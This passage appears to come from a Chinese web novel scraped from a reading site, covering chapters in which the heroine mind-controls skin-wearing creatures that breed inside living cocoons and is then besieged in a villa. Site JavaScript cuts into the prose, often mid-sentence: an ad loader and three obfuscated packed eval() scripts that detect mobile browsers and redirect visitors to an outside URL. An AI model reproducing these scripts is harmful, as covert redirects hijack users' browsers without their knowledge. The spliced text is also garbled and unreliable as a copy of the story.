她伸了个懒腰,悠闲等待一切结束,过不了多久,眼前这个人就会只剩一张皮,她也马上就又能换新衣服了。 她得意勾起的唇角突然僵住。 不止如此,眼睛也好,手臂也好,都开始不受控制。 她被迫站起身,唇角张扬的笑意收敛,弯出恰到好处的弧度,眼中不受控制地流露出狂热与虔诚目光。 她被一股无形的力量逼着,挺直的腰坚定地塌了下去,谄媚地屈着身子,炙热而卑微地盯着那个从无数虫子后露出面孔的女人。 那些虫子跟她的状态相差无几,都无法自制地向这个不怀好意的外来者投诚。 它们止步于那个女人的手掌前,根本无法靠近哪怕半步。 袁珺脑中飞快闪过一个念头,她和它们都被对方控制了! 但这个念头就像天上绽放的烟火一样,转瞬消失,她的思绪被未知对象强行攻占、改写…… 袁珺意识到自己面前出现一位贵客,祂居然降临在她的家里,这是何其荣耀。 她恭敬而又难言激动地望向茶几前的女人,“您怎么亲自来了?” 秦熏缓缓松了口气,尝试成功。 在虫子们围过来的一瞬,她急中生智,想起手心丝线。 虽然此时没有镜子,她看不见,但还是本着死马当活马医的理念,屈指在掌心那个眼睛纹路上抓了一下。 顿时,她就像生出无数幻肢一样,幻肢无形,却能按她所想,向四面八方探去。 她拿离她最近的这些虫子做了实验,凡是被丝线链接上的虫,都会在短短片刻间变成她的“信徒”,用在袁珺身上,也就是作用时间多了一两秒。 只不过她明显能感觉这种控制很临时,而且无时无刻不在消耗她的精神力,相比之下,通过阿冬的“名片”建立起的联系的确要节能得多。 她估算了一下,现在这种状态至多能保持15分钟,那之后,她可能就会跟上两回一样,因精神衰竭而昏倒。 时间有限,她得抓紧了。 秦熏开门见山:“袁珺到底在哪儿?” “袁珺”指了指地下:“在下面。” “下面?”秦熏目光微沉:“你杀了她?” 她摇摇头,勾起唇角,露出微笑:“不,我只是在她身体里孵化了而已,她的死亡不是我的本意。” 秦熏拳头一紧,孵化? “你到底是什么东西?” 在丝线操纵下,“袁珺”对她自是毫无隐瞒。 她的体表皮肤飞快波动,堆起层层褶皱,片刻后,竟像一件衣服似的被脱了下来,露出底下真貌。 这是一只类人型的生物。 它头部和四肢都又细又长,身体表面随处可见不规则的镂空,露出体内半透明的肌理。 长着人脸的虫子密密麻麻分布在肌理神经间,正爬上爬下、爬进爬出地忙碌。 它们扁平的大嘴里含着某种特殊的跟树脂一样的东西,有些用来修补镂空,有些运到身体其他部位,跟人体血管的功能一样。 怪物对自己的形态似乎有些害羞,它举起畸形的手掌遮住身上的孔洞。 它的声音不再像人,而是一种高频波,人耳无法捕捉,但好在有这根丝线,秦熏能理解它表达的含义。 “不好意思,我不习惯赤-裸的状态。”它指了指地上的外皮,“请允许我穿上衣服?” 它说得那样自然,浑然不觉它手里的衣服曾经也是一条鲜活的生命。 秦熏面色变了又变,终是没说话。为了查明这种怪物的由来,她不得不按下内心愤懑。 它很快钻进皮里,又变成了袁珺的样子。 经它自己介绍,秦熏才知这种生物是人类和蜕灵的杂交种,它们种群的名字复杂冗长,她粗暴命名为蜕人。 蜕人天生具有缺陷,个体无法独立存活,因而需要身上的虫子维持生机——这是一种是与它们共生的物种,名为血蚁。 顾名思义,血蚁承担了血液的部分义务 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,在各个部位间传递物质,且这种传递不局限于单个个体间,只要是在它们的联络网上,血蚁就能实现无数蜕人个体间的无障碍交流与物质共享。 秦熏面色怪异:“杂交?难道人和蜕灵间没有生殖隔离?” 它用袁珺的脸绽开微笑:“我们的繁殖可不是人类的低等生殖行为。” 它兴致勃勃地引着秦熏走进楼梯间的一扇小门,“来,我带您参观我们的繁殖奇迹。” 楼梯间后,是个直通更深地下的电梯。 “袁珺”按下电梯,叮的一声,电梯门打开,她恭敬道:“请。” 犹豫片刻,秦熏还是选择继续前进,十五分钟,应该够吧。 电梯缓慢下行,“袁珺”一路上跟她介绍道:“我们这个繁殖区是A103区,属于小型区,所以规模不是很大……” 秦熏打断她道:“这只是一个区?还有更多?” “袁珺”点点头,自豪道:“这已经是第六波蜕灵上岸潮,我们蜕人也借此繁殖到第六代了。上几代前辈们也会建立繁殖区啊,一代一代传承下来,数量肯定多啊。” 秦熏一时说不出话来。 第六代……那岂不是说他们的世界已经被这些怪物渗透成了筛子? 她蓦地想起M52基地的养殖区。 她忙问:“M52基地是不是你们建的?蜕灵冒充人类,混进人类世界,为了就是实现你们这个物种的繁殖吧。” “是的,前辈们把它们圈养起来,从中培育并挑选基因表征与人类最为接近的蜕灵,以便繁殖出更优质的后代,最优秀的一批能直接送去核心区。” “像我们这种资质一般的,就只能等了。”“袁珺”颇为感慨,“等攒够功勋,就能拿到核心区的居住证。” “核心区?” 袁珺眼神亮晶晶的,“是啊,那里是众多神明诞生的地界,相传,您就是从那里诞生的神明,不是吗?” 秦熏若有所思,不同信徒眼里的她似乎有所不同,人类眼里,她就是救出他们的人类秦熏;鸟类眼里,她是一只无所不能的大鸟;而这种生物眼里,她却是属于它们物种的“神明”。 说话间,电梯已经到底,门打开后,外面奇特的景象让秦熏呼吸不由一窒。 无数根蓝盈盈的光管一端连接着地里一个个跟茧一样的东西,另一端没入上方土壤。 随着光管里的亮光有节律地搏动,茧也跟人类心脏一样收缩扩张着。 它们毋庸置疑都是活着的。 无数的茧呈圆环状排列,一圈圈往外扩散,数不清数量。 袁珺拍了拍身边的茧,“这就是被挑选出来的蜕灵,往它们的身体里放入人类,就能构成我们的孕育巢,等待数天到半年不等的发育,结合了人类和蜕灵特征的新生儿就能破巢而出。” 她步伐轻快地带着秦熏穿过地上躺着的光茧,引她来到一处已经被破开的茧前,里面清晰可见一滩粘稠的蓝色液体。 袁珺道:“这就是我出生的地方。” 秦熏定定看着那已无法再和其他的茧一样动搏动的空壳,这只蜕灵毋庸置疑已经死了,她喃喃道:“那,被放进它身体里的人类呢?” 袁珺指了指那滩液体:“这儿。” 她伸手从液体里捞出几只血蚁,“这些小家伙们也要吃东西的嘛。总不能让它们只工作,不吃饭吧?” 秦熏胃里翻涌不止,直欲作呕。 袁珺叉着腰,满意地环视一周,“等它们都成熟了,我就能搬去新基地了,还有点舍不得呢,毕竟也算看着它们长大。” 秦熏咬牙切齿:“如何能终止繁育?” 袁珺一脸懵圈:“哈?” 秦熏冷冷看向她:“怎样才能把这些蜕灵和人类分开?” 袁珺眼里出现两种矛盾的神色,一种是在丝线控制下极度的虔诚与恭敬;另一种,却是狐疑与警惕。 秦熏掌心忽觉刺麻。 15. 包围 她很快意识到眼前怪物在抵抗她用来控制它的力量,正逐渐脱离掌控。 到底是第一回用这个能力,秦熏完全没想过被丝线锚定的对象居然还会挣扎。 她愣了一会儿才想到加力加码,往怪物身上又添了几根丝线。 这无疑是在冒险,是再次挑战她的精神力,或者说她灵魂的极限。 她嗅到自己鼻腔口腔内的淡淡血腥,此外还有绵绵不断的头痛。 好在效果也很好,“袁珺”眼里的敌意登时烟消云散。 它甚至自我说服,为秦熏赋予以合理理由,“您意思是想让它们重新利用?这不是没有办法,不过……” 它有些为难道:“孕育巢是无法破坏的,如果强行破开,不管是里面的人类,还是外面的蜕灵,都会死,除非正处在发育状态中的新生儿自然夭折,这样的话,还能有百分之五的概率将孕育巢回收。” “自然夭折?”秦熏眼中闪过一抹厉色,“什么会导致夭折?” 袁珺嘴唇不自然抖动,她试图开口说话,但明显有什么东西在阻碍它的发声。 秦熏心里一咯噔,当即提高警惕。 下一瞬,袁珺的头颅开始变形,似乎有什么东西在里面横冲直撞。 丝线那头的负荷陡增,从一个灵魂加码到成千上万。 秦熏心道不好。 这个数量级太恐怖了,她现在的灵魂状态压根儿不是对手。 她抹了把因超负荷而喷涌流出的鼻血,当机立断,舍弃袁珺飞快跑向电梯。 刚到电梯口,袁珺鼓胀的头颅彻底爆开。 无数血蚁如满天黑云般掠过幽蓝光茧的上空,乌压压袭向秦熏。 她狂按电梯关门键,在虫云挤进电梯的前一瞬,电梯终于合上铁门,缓缓上升。 虫子们横冲直撞的身躯重重冲击在电梯外壁上,四面八方的铁皮都被打出密密麻麻的凹坑,电梯厢内剧烈晃动。 秦熏狠狠捏了把汗,心脏都悬起来了。 这电梯要是直接掉了下去,她这具刀枪不入的身体兴许能抵挡巨大冲击,但电梯是铁定废了,即便她能保证自己不被那群血蚁吞食殆尽,也找不到法子回到地面。 她平时运气差到没边,关键时候倒是欧气附体,电梯终于还是有惊无险抵达别墅楼梯间。 她一刻也不敢在电梯里多待,门一开就迅速闪身出了电梯,并用力带上楼梯间的门。 里面闹腾了一阵,逐渐恢复平静。 秦熏抹了把额角冷汗,运气果然是守恒的,那些从来没中过的抽奖,从来没出过的彩票,冥冥中都是在为今天的死里逃生做准备。 她再也不说自己是非酋了。 别墅内寂静一片,那被抢走的笔记本静静躺在沙发上,当看见茶几上好奇打量着糕点的斑鸠时,她彻底放下心来。 它既然能进,那说明门口那道无形屏障已经随着袁珺的死亡而自动消散了,她尝试联系信徒,果然又都在线了。 但说实话,“袁珺”的死亡过于突然,这令秦熏心里尤觉不安。 首先她能肯定不是自己杀的人,她的丝线只能“洗脑”对方,还没到能脑控对方爆头的地步。 真凶俨然是那些冲破它头颅而出的虫子。 但她在第一次操纵虫子的时候就发现了,这种东西只有极低的灵智,不具备主观能动性,如果无人指使,不可能会攻击她。 它们分明受到了某种驱使。 谁驱使的? 不可能是“袁珺”本人,只可能存在一个第三者。 血蚁能在不同的蜕人间实现物质的共享乃至信息传递,是其他地方的蜕人通过血蚁发现她在撺掇“袁珺”危害它们族群,为了不让她打探到更多,这才选择灭口。 毋庸置疑,她铁定已经被蜕人们纳入黑名单上了。 秦熏心情沉重,这些蜕人可是六代同堂啊,而且光是A103这个小型繁殖区就有近百个孕育巢,怎么算它们族群的规模都不会小。 看起来这下是真惹上麻烦了。 斑鸠听到她的脚步声,忙回头问道:“啊,您回来了。您找到珺珺了吗?” 秦熏叹了口气,声音有些低落:“她已经死了很久了,起码十多天。” 斑鸠诧异地扑棱翅膀飞到她肩头,“怎么会!我前几天还看到她了呢。” 秦熏一愣,“前几天?” 斑鸠点点头,“对啊。” “这里?” “不是,”斑鸠道,“是在华盛小区门口。那天我看到珺珺一个人在小区秋千上玩,就问她怎么了。没想到她那天居然能听懂我说话,她说她很想妈妈。” “她还说她的身体被抢走了,只有抢走她身体的家伙死掉,她回到身体里,妈妈回来后才能认出她。她告诉我那个人就住在这里。” 秦熏:“……” 她心情更沉重了,袁珺守在华盛小区,是觉得在那儿能等到妈妈回来吗? 她……知道妈妈也已经遇害了吗? “走吧。”秦熏将笔记本揣回口袋,“我们回去带她找妈妈。” 斑鸠却有些为难,“一定要出去吗?” 秦熏不明就里:“你不想回去?” “那倒不是啦,”斑鸠小声道:“只是外面……” 秦熏微怔,忙走到落地窗前,掀开窗帘一角。 她脸色唰地变了。 原本门口罗雀的别墅外此时居然多了很多人,他们在别墅周边围了一圈。 有背着小书包的孩童,衣着花哨的年轻人,面无表情的中年人,苍白瘦削的老人…… 也有腰间别着呼机的保安,举着大剪刀的园丁,温馨的一家四口…… 越来越多的人从别墅区的其他地方聚集到这间屋子前,在铁门外站定,死死盯着这栋寂静的屋子。 秦熏头皮一麻,也是,这一大片区怎么可能就“袁珺”一只蜕人? 为了方便管理,它们自然而然会选择群居,这个别墅区里的居民很有可能大半都被换血了。 它们此时都围到这儿来,搞出如此大阵仗,这是抱着即使放弃伪装也要杀了她的心思么? 秦熏心沉到谷底,经历过刚才和“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13813694|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁珺”的交锋,现在的她精力实在有限,至多再控制一个人而已。 故技重施,怕是行不通了。 那还能怎么办? 她忙进了二楼主卧,这儿视野更好,她看见别墅围墙外也有不少蜕人,它们正在爬围墙,有个甚至已经半只腿翻进花园里。 秦熏面色凝重,那只蜕人一旦成功进入花园,就会打开前门放其他蜕人进来,届时想跑都跑不了。 她目光沉沉,现在直接莽出去? 不,不太行。 她确实是物抗拉满,但不代表她能从人山人海里挤出去。 而且它们的攻击手段,它们的弱点,她一概不知,这么莽就是送人头。 实在不行……她扭头看向肩头不安转动眼珠的斑鸠,“你可以飞出去吗?” “我自己是可以啦,但……”斑鸠很是为难:“但我力量太小,没法儿带着您一起离开。” “不用,”秦熏指了指头顶,“你帮我飞上去看看,屋顶有没有路可以走,还有,看看哪些屋子里是没有人的。” 她进小区时注意到这些别墅间挨得挺近,是联排的,她或许可以先通过二楼阳台爬到别墅屋顶,再尝试从屋顶跳到抵达其他别墅。 只要其中有一间是没有蜕人的,她就能突出重围,顺利离开。 斑鸠听完她的解释,也是精神一振,“好!” 秦熏拉开一点窗户,放它飞了出去。 此时这种通过丝线联系的好处就又显现出来了,只要她集中精力,她甚至能隐隐约约“看”到斑鸠视野中的场景。 它穿过二楼阳台,飞上屋顶,屋顶斜度不算大,只要控制好力度,应该能承载一个成年女子在上面行走。 秦熏刚觉得高兴,别墅周边的地面此时却突然探出无数条蓝色的细管。 这些细管正是地底那些孕育巢上连着的管子。 她面色顿时难看至极,“等等,先别飞!停在屋顶上别动。” 密密麻麻的管子不停生长,飞快往天空蔓延。它们间的缝隙很窄,可能只有鸟这么小的东西才能通过。 就像一个牢笼,把这最后一条路封死。 希望彻底落空,好在秦熏最大的美德就是乐观——虽然被困在笼子里,但这也并非全然是坏事。 这会儿功夫,花园里的蜕人已经打开大门放同伙进来了,要不是这个笼子堵了它们的路,蜕人们恐怕已经攻进屋里。 它们明显很重视这东西,舍不得弄断,只是站在管子外围,不甘心地瞪着二楼的秦熏。 斑鸠在屋顶四处转悠,想找突破口,秦熏突然叫住了它,“别动。好,现在往回转一点。” 她刚才好像在它视野边缘看到些东西。 斑鸠按指示回头,这才发现屋顶上除它之外居然还有一只鸟。 那正是阿冬化身的乌鸫,也不知道在这儿待多久了。 阿冬若无其事朝它打招呼:“咦,你也在这儿?好巧啊。” 秦熏嘴角抽了抽,巧?这家伙说得好像是散步时意外经过一样。她可不信它不知道底下发生了啥。 16. 晶管 斑鸠见到它却很是惊喜,刚要说话,脑海中秦熏的声音却道:“好了,你回来吧。” 斑鸠听话地准备回去,阿冬又叫住它:“你能看见我的,对吧?” 斑鸠迷茫地歪了歪脑袋:“啊?” 阿冬语气有些酸酸的:“我离家出走这么久,你居然一句话都不问。” 秦熏隐晦地翻了个白眼,一个小时不到,这也叫久?一部电影都看不完好不好,合理怀疑它根本就没走,假装飞远,实则暗戳戳跟在后面。 斑鸠卡在中间,更不懂了:“你在说什么?” 阿冬自顾自道:“真的不需要我?” 斑鸠眼睛发晕,这都什么跟什么啊。 “我可以提供一条线索。” 秦熏终于开口:“怎么说?” 刚问出声,乌鸫就落到她面前的窗台上,“我以为你会一直装没听见。” 秦熏抱起胳膊,好整以暇道:“不是说要离家出走吗?现在突然跳出来又是几个意思?” “经试验,你并不吃无理取闹,离家出走这一套。” 秦熏挑眉:“所以?” “根据你们人类的交友理论,只有展现更多价值,才能让对方意识到我的无可替代性,发自内心认可我。” 秦熏饶有兴致:“然后呢?” 阿冬不知从哪儿取出一小根蓝色的管子递给她,“我在屋顶上闲着无聊,弄断了一小截晶管。” 说是小管,其实不小,有成年人手腕粗。 秦熏接过一看,顿时有些讶异,从这管子的截面来看,其内部是个蜂巢结构,每个六边形里都有个张小小的灰败人脸。 她一眼就认出那是血蚁的尸体。 当时她掐死的那只血蚁就跟现在一样,尸体被裹在晶莹透明的未知材质中,形似琥珀。 她猛地抬头看向外头封锁别墅的蓝管,这么多根管子,长度又这么长,这里得有多少血蚁尸体啊。 阿冬道:“我有个能力,可以令尸体短暂复生。这样一来,应该可以摧毁这些管子。不过……” “不过什么?” “我还没恢复完全,用不了。” 秦熏:“……” 感情你说了这么多是闹着玩儿呢?她刚想吐槽,阿冬又道:“但我可以把这个能力嫁接到你身上。” 秦熏一愣:“嫁接?能力还能嫁接?” 阿冬轻咳一声,“但我有个请求。” “说来听听。” 阿冬含糊其辞,“我还没想好,可以让你先欠着,以后兑现。” 秦熏眼珠一转,“行。” 如果到时候要求太过分,她无法兑现,大不了再“失忆”一次,她这方面可很是有经验。 阿冬扭头从身上叼了根羽毛给她,“放在掌心,认真感触它。” 秦熏照做。 霎时,她感觉脑海里多了一段关于“复苏术”的介绍。 这种术法不消耗自身精神力,但消耗自然界的能量,每令一位亡者复生,都会夺走周围生灵的部分生命力。 如果是大范围复生亡者,甚至会导致周围生灵的死亡。 “那要复生这么多只虫子,需要多少生命力?”秦熏眸中闪过一道亮光,“这里至少十万只,如果需要量足够大,说不定可以把门口那些蜕人一波带走。” 阿冬答道:“差不多。别墅里外的生物都会死。” 话音刚落,身后衣柜里突然传来咯噔一声异响。 秦熏眉头一跳,快步上前,拉开柜门。 衣柜里蜷缩着一个年轻女人,正哆哆嗦嗦地想把自己完全藏进衣物中。 见自己已然暴露,女人慌张道:“别,别杀我!您放我走吧,我一定离这别墅远远的,绝对不会回来坏您的事!” 秦熏眯起眼睛,“我见过你,你是给我端茶的那个?” 女人忙道:“我也不想给您上那杯茶,是主人逼我的,如果我不乖乖听话,她就会把我带去地下,我,我不想死。” 秦熏若有所思:“主人?你是说那只披着袁珺皮囊的怪物?” “是,是的。” “它已经死了。” 佣人抖了一下:“死了?” 秦熏打量着她:“你呢,你躲在这里干什么?” 佣人望着外面的蜕人,面露恐惧:“如果被他们抓到,我,我肯定会死。就和其他蜕灵一样。” 秦熏微怔:“你是蜕灵?” “是的。”佣人低声道:“我获得了离开养殖区的资格,本来以为能回家了,没想到养殖区的外围法阵直接把我传送到了这里。” 她掰着指头数:“这里一开始有很多蜕灵的,主人带他们进了地下室,就再没上来过……慢慢的,这里面就只剩我,沈明,沈婆,还有主人。沈明在地上待得最久,已经有点精神失常了,再这样下去,我可能也快了。” 沈明?秦熏诧异非常,楼下那个满嘴脏话的男人居然也是只蜕灵?那沈婆多半就是他身边那个老女人了。 “那你呢,你叫什么?”秦熏问她。 “我?”佣人答道,“我叫沈珠。” “你们都姓沈?” “对。”沈珠点点头,“所有蜕灵都姓沈。” 谁给它们安的姓?秦熏心里暗道,明明都不是人类,顶着个人类的姓,取个人类的名,那不是不伦不类嘛。 沈珠怯怯道:“我刚刚不小心听到您说,别墅周围的生物,都会死是吗?” 秦熏嗯了一声。 沈珠面色发白,她哆嗦着看了眼楼下的花园,沈明依旧站在水池边,神色木然,跟外面来势汹汹的“人”只隔了几根蓝色晶管,沈婆却已经跳进了水池里,缩在水池角落瑟瑟发抖。 她抿了抿唇,颤声道:“我们……” 秦熏叹了口气:“你们可以先走。等你们走远了我再动手。” 沈珠喜出望外:“真的吗?!太好了!谢谢您!” 秦熏有点好奇:“怎么,你知道怎么离开?” 沈珠指了指自己的嘴:“我们是吃土为生的。现在主人死了,地面的禁制肯定开了,我们可以咬穿一条地道,从地下离开。” 说完沈珠跃出二楼阳台,落在地面,拉着沈明和沈婆叽里咕噜说着什么。 阿冬看了眼花园里的三只蜕灵,又扭头盯着她:“就这么放它们走?” 秦熏嗯了一声,“这三只蜕灵也是被囚禁在此的倒霉鬼,我不想累它们送命。” 说着她将精神力集中在连着斑鸠的那根丝线上,准备提醒斑鸠,让它也先回华盛小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13829500|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区,离这里远点。 然而刚接上线,斑鸠那里的画面传了过来——数辆黑色商务车往这个方向疾驰而来。 秦熏眉头一皱:“是它们的援军?” 阿冬感应了一下,“不,是人类。” 人类?秦熏脸色难看,这么一来,别墅附近不就又多了些不能死的生物了吗? 与此同时,沈珠带着两个同伴又回了二楼阳台,她哭丧着脸道:“我以为主人死了,禁制就能打开了呢,没想到土层还是啃不动,我们也走不了了。” 秦熏苦恼地闭了闭眼睛,“难道不能指定被剥夺生命力的对象吗?” 阿冬摇头:“不能。” 她烦躁踱步,有了技能还不能用,简直就像在生病只能吃流食的人面前吃烧烤一样磨人。 说话的功夫,车队在别墅门口停下,从上面下来一群统一制服的人。 他们外着黑色冲锋衣,脸上带着防毒面具,背上背着类似氧气罐的东西。 最引人注目的,还得是他们手里的东西,秦熏认不出那是什么,虽然尾部设计了枪托和扳机,但这绝对不是枪。 没有枪后面会连出一条管子,接到背后的罐子上,更没有枪的头部长得跟喷嘴一样尖尖的。 人群里有个女人,秦熏立马感应到这人和她的丝线有联系。 再一细究,秦熏恍然大悟。 她用丝线摇人帮忙寻找袁珺时,曾链接到一位自称是女警的“信徒”,名字叫徐颖。 人群里那个,就是徐颖。 徐颖的部分想法断断续续通过丝线传递到秦熏这里来:“小女孩失踪……蜕人嫌疑……组织……任务……” 秦熏面露讶异,组织? 徐颖的穿着跟其他人有点不一样,脸上的防毒面罩颜色更浅,面具眼孔材质看上去也很特别,不像普通的玻璃或者塑料。 她站在别墅前看了两眼,朝后做了几个手势,前排的人立马端起手里的东西,对着别墅门口的那些蜕人扣下扳机。 射出来的东西飞速极快,死死黏在那些蜕人身上。 也不知道那是什么物质,触碰瞬间,蜕人们就像受到腐蚀了似的,身上披着的人皮急速融化,露出底下奇形怪状的真身。 它们身上那些裸露在外的孔洞飞快蠕动着,似乎有什么东西正急着往外挤。 秦熏心里莫名一紧,淡淡危机感浮上心头,忙提醒斑鸠飞远些。 几乎是它刚飞到对面的别墅屋顶,那几只蜕人的身体就迅速爆开,乌泱泱的血蚁气势汹汹涌向外部人群。 她眼尖地注意到它们背上惨白的人脸此时俱都变得猩红,这个状态下的血蚁明显比之前那会儿要可怕得多。 与此同时,寂静的别墅一楼突然传来砰地一声巨响,像是什么东西爆炸了似的,连带着二楼都一阵剧烈晃动。 沈珠吓一跳:“什么动静?!” 秦熏忙冲向楼梯口,低头往下看。 楼梯间的那扇小门被巨大的冲击波掀飞了出去,砸到客厅的茶几上,满室狼藉。 她原以为是地下的血蚁飞了上来,事实却比她想象得还可怕——钻上来的不是血蚁,而是密密麻麻数不清的蓝色晶管。 它们扎穿地板,撕裂墙面,整个屋子在它们的操作下摇摇欲坠。 17. 巨浪 秦熏灵活避开脚下突然窜上来的晶管,头顶的装饰品却没那么好命,被遇到障碍突然变尖的晶管扎了个透心凉。 沈珠它们也被迫变回蜕灵,飘在半空躲避攻击,不仅室内如此,外面也随处可见蓝色地刺。 那队人的攻势瞬间被打乱,已经有数人负伤,一人倒地,生死未卜。 再这样下去,这伙人迟早要全死在这儿。 秦熏咬咬牙,突然掉头往楼梯间走。 阿冬和沈珠它们三跟了过来。 阿冬低声问她:“你要做什么?” “晶管的源头在地下,不把它们彻底毁了,地上的人都会死。” 她知道“袁珺”体内爆出的血蚁可能还留在地下,那里不是个安全的去处,但事到如今也只有赌一把了。 她示意三只蜕灵别跟上来,“你们在上面守着,叫你们时再下来。” 言罢她扳开已经被晶管冲撞变形的门框,硬生生挤了进去,阿冬紧随其后。 楼梯间里被晶管完全占据,她掰断几根扎进她身上的晶管,随手丢在地上,按记忆摸向那个电梯口。 果不其然,电梯门也成了两块废铁,一左一右嵌入墙壁。 电梯境况也没好到哪里去,秦熏低头看向深深地底,那反射着地下蓝色幽光的废铁壳,正是已经报废了的电梯。 地下静悄悄的,一片死寂。 她估算了一下距离:“这样跳下去,我应该不会死吧?” 阿冬想了想:“我记得你以前还从悬崖上往下跳过,也没死,就是……” 话没说完,秦熏就跳了下去。 它慢吞吞把后面几个字补全,“有点难看。” 这次也不怎么美观,秦熏断了一只胳膊,好在不痛。 阿冬提醒道:“你得赶紧把位置对准,不然一会儿长歪了又得弄断。” 秦熏大女人不拘小节,“没事儿,长歪点也没关系,不影响吃饭就行。” 眼看她真打算随手一接,阿冬忙浮起她的手臂,小心拼回断裂处,秦熏的恢复能力着实可怖,眨眼功夫,就完好如初。 她迅速爬起身,目光在眼前这巨大的地下巢穴内扫荡。 原本躺在地上的蜕人尸体已经不见了,乌央乌央的血蚁群也不见踪影,原本固连在孕育巢的晶管尾端齐齐汇聚向巢穴深处。 秦熏随便扒拉开手边最近的一枚孕育巢,里面的人还剩一半,化作液体的另一半中浸泡着的血蚁却都死光了。 其他的也是如此。 她眉头一紧,是什么让晶管放弃了这么多蜕人新生儿,那深处难道有比这些新生儿更重要的东西? 她顺着晶管方向往里走,越靠近那片黑暗,她越觉冷,空气中弥漫着令人心肺发凉的冷气。 心头不祥预感愈演愈烈,她站住步子,先将丝线探了出去,闭着眼睛感受。 丝线那端突然一沉,她意识到自己“钓上”了什么东西。 但那东西猛地一挣扎,居然溜走了。 她嚯地睁眼,“那是一个灵体!” 不是别的,正是不久前死在这儿的那只假冒袁珺的蜕人。 那些管子通过血蚁和它的灵魂体相连,像触手似的,能轻易为它所控。 变成灵体的蜕人比之前更难缠,加之她的灵魂还在虚弱态,仅仅是刚才链接上的那一会儿,就让她疲惫不堪,完全没有和对方熬鹰的精力。 她按了按剧痛的额角,问阿冬,“你身上还有蜕灵灵液吗?” 慢慢养魂肯定来不及了,只能靠外物先补补。 “没了,就两瓶,已经被你喝完了。” 秦熏面色一变:“只有两瓶?!” “蜕灵们都很小气,昨天你摧毁M52基地,放走它们,它们也只扣扣搜搜拿出两颗蜕灵珠做谢礼,榨成汁只有两小瓶。” “那上面那三只身上应该也有蜕灵珠吧?” “有也没用。你今天已经喝了两瓶,短期内再喝会上瘾。” 秦熏:“……” 阿冬又道:“如果是想它消失,那我可以代劳。” “不,我还想从它那儿套出点情报。”她突然眯起眼睛,“既然能力可以嫁接,那精力应该也可以?” 阿冬警惕地飞了起来,“你想干什么?” 秦熏伸手去够它,“你别跑啊,咱们不是好朋友吗,分点精力给我不过分吧?” 阿冬不太乐意:“我养了很久才恢复这么一点,你也要抢?” 秦熏轻咳一声,“又不是白拿,以后会补偿你的。” 到底是胳膊拗不过大腿,在秦熏的PUA……啊不,晓之以情动之以理的劝说下,阿冬只能被迫充当充电宝。 很快,秦熏就恢复满血状态,阿冬无精打采地解除鸟类形态,变回无形无相,“我累了,先睡会儿。” “行,你随便。”秦熏随口答道,她的注意力此时全部放在丝线彼端。 她的目的是彻底操控这个灵体,把它也变成她的“信徒”。 没有人教过她怎么做,但就像第一次用丝线去操纵那些血蚁一样,她无师自通地寻到了窍门。 只不过比起虫子,这具早就对她有所提防,敌意深重的灵体攻克起来要困难得多,加之它不是人,不能用名片建立接口,她只能大力出奇迹。 一根丝线,十根丝线不够,那就二十根,三十根,上百根。 她再次感受到昔日尝试同时联系所以在线彼端的“信徒”时那种精神痛楚,好在从阿冬那里抢了不少精力来,她适应了一会儿就重又得心应手。 当她再睁开眼睛时,那只灵体已经站在她跟前,虽然看不清模样,但源源不断的正面情感:敬崇,钦慕,膜拜,通通由丝线传到秦熏这里。 它已经彻底被她掌控了,记忆,包括灵魂中残余的能力,她可欲予欲求。 她匆匆过了一遍黑影的记忆,出乎意料,少得可怜。 她心觉奇怪,它明明是这个小片区的高层,知道的东西按理说不该只有这么点儿的。 唯一可能的解释就是它被迫爆脑死亡的时候,记忆也被连带摧毁了。 现在的它只剩一个念头——谁也不能离开这栋别墅,如必要,可舍弃整个A103区。 想来这也是为什么它会把晶管连接在自己灵魂体上充当武器,又召了那么多同类过来,可惜操作失误管子提前出土,倒是把同伴挡在外头。 秦熏不死心,把它的灵魂来来去去扫荡了好几遍,都没找到任何关于蜕人高层的消息。 她失望片刻,恢复乐观,不管怎样,聊胜于无嘛。 往好处想,起码地下巢穴的新生儿是都没救了,等把上面那些蜕人收拾干净,整个A103区就不复存在了,能捣毁一个也不亏。 思及此,秦熏操纵它把晶管拉回地底,接着把注意力又转回地面。 斑鸠兢兢业业,留守一线,为她实时转播地面情况。 此时距离她地来其实也就过去了五分钟不到。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13844386|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵由血蚁构成的猩红云朵依旧飘在别墅上空。 路过的飞鸟只是掠过黑红血蚁群的边缘,血肉骨骼就被吞噬殆尽,不止如此,连花园里的花草都极速枯萎化作烂泥。 换做任何一个普通人,亲眼见到这一幕都该吓破胆,拔腿狂奔了,但门外那支队伍训练有素,没有人恐惧或退缩。 